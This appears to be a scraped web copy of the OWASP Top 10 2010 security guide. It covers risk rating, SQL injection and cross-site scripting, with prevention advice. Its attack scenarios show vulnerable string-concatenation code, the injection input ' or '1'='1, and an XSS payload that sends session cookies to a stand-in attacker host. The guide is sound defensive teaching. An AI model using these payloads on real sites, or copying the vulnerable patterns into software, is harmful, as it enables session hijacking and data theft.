Saltar al contenido principal
About OWASPO
IIntroduction
Release NotesRN
Weakness WeaknessWeaknessWeaknessWhat Are Application Security Risks?Attackers can potentially use many different paths through your application to do harm to your business. Each of these paths represents a risk that may or may not be serious enough to warrant attention.Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is caused may range from nothing all the way through putting you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with the threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization.  Together, these factors determine the overall risk.ThreatAgentsAttackVectorsSecurityWeaknessesTechnicalImpactsBusinessImpactsSecurityControlsImpactControlAttackAssetControlAttackImpactFunctionAttackImpactAssetControlWhat’s My Risk?This update to the OWASP Top 10 focuses on identifying the most serious risks for a broad array of organizations. For each of these risks, we provide generic information about likelihood and technical impact using this simple ratings scheme, which is based on the OWASP Risk Rating Methodology.However, only you know the specifics of your environment and your business. For any given application, there may not be a threat agent that can perform the relevant attack.  Or the technical impact may not make any difference. Therefore, you should evaluate each risk for yourself, particularly looking at the threat agents, security controls, and business impacts in your enterprise.Although previous versions of the OWASP Top 10 focused on identifying the most common “vulnerabilities,” they were also designed around risk. The names of the risks in the Top 10 are sometimes based on the attack, sometimes on the weakness, and sometimes on the impact. We choose the name that is best known and will achieve the highest level of awareness.ReferencesOWASPOWASP Risk Rating Methodology
Article on Threat/Risk ModelingExternalFAIR Information Risk Framework
OCTAVE Risk Analysis Methodology
Microsoft Threat Modeling (STRIDE and DREAD)Application Security RiskR
OWASP Top 10 Application Security Risks – 2010 T10
    Security          Weakness Technical   ImpactsBusinessImpacts    Attack   VectorsThreatAgentsAm I Vulnerable To Injection?The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query.Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Manual penetration testers can confirm these issues by crafting exploits that confirm the vulnerability.Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection problems exist. Scanners cannot always reach interpreters and can have difficulty detecting whether an attack was successful.How Do I Prevent Injection?Preventing injection requires keeping untrusted data separate from commands and queries.The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface.  Beware APIs, such as stored procedures, that appear parameterized, but may still allow injection under the hood.If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI has some of these escaping routines.Positive or “whitelist” input validation is also important and helps to protect against injection, but is not a complete defense as many applications require special characters in their input.Example Attack ScenarioThe application uses untrusted data in the construction of the following vulnerable SQL call:  String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") +"'";The attacker modifies the ‘id’ parameter in their browser to send: ' or '1'='1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customer’s.http://example.com/app/accountView?id=' or '1'='1 In the worst case, the attacker uses this weakness to invoke special stored procedures in the database, allowing a complete takeover of the database host.ReferencesOWASPOWASP SQL Injection Prevention Cheat Sheet
OWASP Injection Flaws Article
ESAPI Encoder API
OWASP Testing Guide: Chapter on SQL Injection Testing
OWASP Code Review Guide: Chapter on SQL Injection
OWASP Code Review Guide: Command InjectionExternalCWE Entry on Command Injection
CWE Entry on SQL InjectionA1Injection
Cross Site Scripting (XSS)A2    Security          Weakness Technical   ImpactsBusinessImpacts    Attack   VectorsThreatAgentsAm I Vulnerable to XSS?You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper encoding ensures that such input is always treated as text in the browser, rather than active content.Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, and Flash, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing.Web 2.0 technologies such as AJAX makes XSS much more difficult to detect via automated tools.How Do I Prevent XSS?Preventing XSS requires keeping untrusted data separate from active browser content.The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about escaping.Positive or “whitelist” input validation is also important and helps protect against XSS, but is not a complete defense due as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and any business rules on that data before accepting the input.Example Attack ScenarioThe application uses untrusted data in the construction of the following HTML snippet without validation or escaping:  (String) page += "<input name='creditcard' type='TEXT‘  value='" + request.getParameter("CC") + "'>";The attacker modifies the ‘CC’ parameter in their browser to:'><script>document.location=  'http://www.attacker.com/cgi-bin/cookie.cgi?  '%20+document.cookie</script>.This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ. See A5 for info on CSRF.ReferencesOWASPOWASP XSS Prevention Cheat Sheet
OWASP Cross Site Scripting Article
ESAPI Project Home Page
ESAPI Encoder API
ASVS: Output Encoding/Escaping Requirements (V6)